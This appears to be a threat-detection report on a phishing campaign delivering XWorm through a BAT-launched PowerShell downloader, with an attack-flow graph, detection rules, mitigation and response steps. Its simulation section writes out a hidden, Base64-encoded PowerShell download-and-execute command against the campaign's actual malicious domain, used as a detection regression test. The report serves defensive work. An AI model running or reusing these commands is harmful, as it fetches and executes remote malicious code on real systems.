Malicious Script Delivering More Maliciousness
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
A phishing email delivers a malicious attachment containing a BAT script that launches PowerShell to pull down a Base64-encoded payload. After decoding, the payload resolves to XWorm, a .NET stealer that fingerprints the host and exfiltrates collected data through a Telegram bot. Persistence is established by creating a scheduled task that repeatedly runs the dropped executable. The operation relies on multiple infrastructure elements, including a fake image-hosting lure and at least one compromised IP used for payload staging.
Investigation
Review of the BAT script exposed a PowerShell one-liner that retrieves a PNG-looking file from an attacker-controlled domain. The embedded Base64 content is then sanitized, reversed, and decoded to reconstruct the .NET executable. Binary analysis showed the malware registers a scheduled task named Chromiumx2 and uses Telegram’s API for command-and-control and data exfiltration. Investigators extracted key network indicators, including the hosting domain, associated IP address, and the Telegram API endpoint referenced during execution.
Mitigation
Prevent execution of untrusted BAT and PowerShell content originating from email attachments or user download directories. Apply application allow-listing to restrict scheduled task creation and flag suspicious new task registrations. Monitor and, where feasible, restrict outbound access to Telegram API endpoints and block the identified malicious domains at DNS/proxy layers. Keep endpoint detections updated with newly observed indicators and script-based download patterns.
Response
Isolate endpoints where the Chromiumx2 scheduled task or Chromiumx2.exe is observed. Remove the scheduled task, delete the malicious binary, and collect artifacts (script, decoded payload, task XML, and relevant logs) for forensic scoping. Hunt across the environment for the same task name, similar PowerShell decode behavior, and Telegram-driven traffic. Reset potentially exposed credentials and notify users about the phishing attachment to reduce repeat execution.
graph TB %% Class definitions classDef technique fill:#99ccff classDef file fill:#ffcc99 classDef process fill:#ffeb99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef c2 fill:#c2f0c2 %% Nodes initial_access[“<b>Technique</b> – T1566.001 Spearphishing Attachment<br/><b>Description</b>: Attacker sends malicious email with a .bat attachment.”]:::technique attachment_file[“<b>File</b> – malicious_attachment.bat<br/><b>Purpose</b>: Drops a PNG image that carries hidden shellcode.”]:::file masquerading[“<b>Technique</b> – T1036.008 Masquerading File Type<br/><b>Description</b>: PNG named optimized_MSI.png actually contains shellcode delimited by BaseStart- and -BaseEnd.”]:::technique png_image[“<b>File</b> – optimized_MSI.png<br/><b>Content</b>: Embedded shellcode with delimiters.”]:::file user_execution[“<b>Technique</b> – T1204 User Execution<br/><b>Description</b>: Victim runs the malicious batch file.”]:::technique powershell_exec[“<b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Decodes Base64 data, reverses hex strings and launches shellcode.”]:::technique obfuscation[“<b>Techniques</b> – T1027.008, T1027.004, T1027.009, T1027.003, T1027.007<br/><b>Description</b>: Payload polluted with junk, reversed hex, compiled on‑the‑fly, steganography and dynamic API resolution.”]:::technique c2_communication[“<b>Techniques</b> – T1059.009 Cloud API, T1102.002 Web Service Bidirectional, T1102.003 One‑Way<br/><b>Description</b>: .NET back‑door uses Telegram Bot API for command and control.”]:::c2 telegram_api[“<b>Tool</b> – Telegram Bot API<br/><b>Endpoint</b>: api.telegram.org”]:::tool persistence[“<b>Techniques</b> – T1543 Create or Modify System Process, T1546.002 Event Triggered Execution, T1547.014 Active Setup<br/><b>Description</b>: Scheduled task \”Chromiumx2\” runs every minute; screensaver trigger and Active Setup enforce execution.”]:::technique scheduled_task[“<b>Process</b> – schtasks<br/><b>Task</b>: Chromiumx2”]:::process priv_esc[“<b>Techniques</b> – T1055 Process Injection, T1574 Hijack Execution Flow<br/><b>Description</b>: Shellcode injected into a legitimate process to gain higher privileges.”]:::technique process_injection[“<b>Process</b> – Legitimate Process<br/><b>Target</b>: Receives injected shellcode.”]:::process credential_access[“<b>Techniques</b> – T1555.003 Credentials from Web Browsers, T1539 Steal Web Session Cookie<br/><b>Description</b>: Chrome injector harvests passwords, cookies and other browser data.”]:::technique chrome_injector[“<b>Malware</b> – Chrome Injector<br/><b>Function</b>: Extracts stored credentials and session cookies.”]:::malware discovery[“<b>Technique</b> – T1217 Browser Information Discovery<br/><b>Description</b>: Enumerates Chrome profile paths and stored credentials.”]:::technique exfiltration[“<b>Technique</b> – T1041 Exfiltration Over C2 Channel<br/><b>Description</b>: Collected credentials and system information are exfiltrated via the Telegram channel.”]:::technique lateral_movement[“<b>Techniques</b> – T1080 Taint Shared Content, T1210 Exploitation of Remote Services<br/><b>Description</b>: Additional payloads downloaded for possible further propagation.”]:::technique additional_payload[“<b>File</b> – buildingmoney.txt<br/><b>Purpose</b>: Contains further malicious code for lateral movement.”]:::file %% Connections initial_access –>|delivers| attachment_file attachment_file –>|creates| masquerading masquerading –>|produces| png_image png_image –>|used by| user_execution user_execution –>|triggers| powershell_exec powershell_exec –>|performs| obfuscation obfuscation –>|contacts| c2_communication c2_communication –>|uses| telegram_api c2_communication –>|establishes| persistence persistence –>|creates| scheduled_task scheduled_task –>|executes| priv_esc priv_esc –>|injects into| process_injection process_injection –>|enables| credential_access credential_access –>|implemented by| chrome_injector chrome_injector –>|gathers| discovery discovery –>|feeds| exfiltration exfiltration –>|sends data via| c2_communication c2_communication –>|downloads| additional_payload additional_payload –>|enables| lateral_movement
Attack Flow
Detections
Possible Telegram Abuse As Command And Control Channel (via dns_query)
View
Suspicious Process Utilizes a URL in the Command Line (via cmdline)
View
Download or Upload via Powershell (via cmdline)
View
Schtasks Points to Suspicious Directory / Binary / Script (via cmdline)
View
Suspicious Powershell Strings (via powershell)
View
Suspicious Files in Public User Profile (via file_event)
View
Suspicious Powershell Strings (via cmdline)
View
Possible Schtasks or AT Usage for Persistence (via cmdline)
View
IOCs (SourceIP) to detect: Malicious Script Delivering More Maliciousness
View
IOCs (DestinationIP) to detect: Malicious Script Delivering More Maliciousness
View
Scheduled Task Creation for Chromiumx2 Persistence [Windows Process Creation]
View
Detect Base64-Encoded PowerShell Payload Fetch [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
-
Attack Narrative & Commands:
The attacker wants to download and execute a malicious payload from a compromised web server. To evade classic signature detection, they embed the entire download‑and‑execute logic in a single Base64 string and invoke PowerShell with-EncodedCommand. The command references the exact URL that the detection rule monitors (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Encode the malicious payload (a simple downloader that runs the received script):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64Resulting B64 (example):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(truncated). -
Execute the encoded command:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
This single line generates the exact telemetry the Sigma rule expects: a PowerShell process, the
-EncodedCommandflag, and the malicious URL inside the decoded script block. -
-
Regression Test Script:
#------------------------------------------------- # Regression script to trigger the detection rule #------------------------------------------------- # 1. Build the malicious payload $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Execute the payload via an encoded PowerShell command Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Malicious encoded command executed." #------------------------------------------------- -
Cleanup Commands:
# Remove any transient files (none expected because the payload streams directly) # Terminate any lingering hidden PowerShell processes started by the test Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Cleanup complete."